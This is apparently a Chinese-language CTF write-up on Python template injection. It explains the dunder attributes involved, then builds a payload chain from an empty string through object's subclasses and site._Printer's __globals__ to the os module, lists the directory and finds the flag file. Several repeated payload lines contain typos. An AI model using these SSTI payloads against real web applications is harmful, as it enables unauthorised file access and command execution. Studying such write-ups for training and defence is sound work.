以前对于python的模板注入了解得并不很细致,基本就是用别人的payload,希望借此一篇来丰富一下。
一、前期了解
几个方法:
__class__ 返回创建该对象的类__base__ 返回该对象所继承的第一个父类
__subclasses__ 返回当前类的所有直接子类的列表
__mro__ 当要去找子类继承的是哪个父类的方法时(父类可能有同名方法),确定方法的调用路径
__init__ 类的初始化方法
__globals__ 返回函数或方法所在模块的全局命名空间字典
二、题解
1.找到父类
首先可以直接确定模板注入的地方
最终我们的目的是得到flag,需要去寻找有关读取文件和命令执行的类方法
' ' 一个空字符串对象
' '.__class__ 返回字符串对象的类,即str
' '.__class__.__mro__ 返回的是str的方法解析顺序列表,查找路径为 str object(所有类的基类)
而至于为什么不用base基类,因为base只能得到第一个直接父类,得不到更全的object类,如下:
' ' 一个空字符串对象
' '.__class__ 返回字符串对象的类,即str
' '.__class__.__mro__ 返回的是str的方法解析顺序列表,查找路径为 str object(所有类的基类)
# 要用的是object,通过其与subclasses可以尝试找到我们要的方法类
' '.__class__.mro__[2].__subclasses__() 得到object类所有直接子类的列表
在这里的元类type中找到我们要的方法类,记下其对应的位置。
2.找到方法类
可以通过crtl + F 来显示是第几个type/位置
这里的 type file可以进行文件读取,处于第40个位置
这里的 site._Printer 可以用于帮助确定全局环境,处于第71个位置
' ' 一个空字符串对象
' '.__class__ 返回字符串对象的类,即str
' '.__class__.__mro__ 返回的是str的方法解析顺序列表,查找路径为 str object(所有类的基类)
# 要用的是object,通过其与subclasses可以尝试找到我们要的方法类
' '.__class__.mro__[2].__subclasses__() 得到object类所有直接子类的列表
' '.__class__.mro[2].__subclasse__()[71].__init__ 是_Printer类的初始化构造函数
' '.__class__.mro[2].__subclasse__()[71].__init__.__globals__ 指向该函数定义时的全局命名空间(即site模块的全局命令空间,而site模块在启用时回导入许多核心模块,如os,sys等)
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.') 输出当前目录下的文件
找到fl4g,随后进行文件内容读取
成功得到flag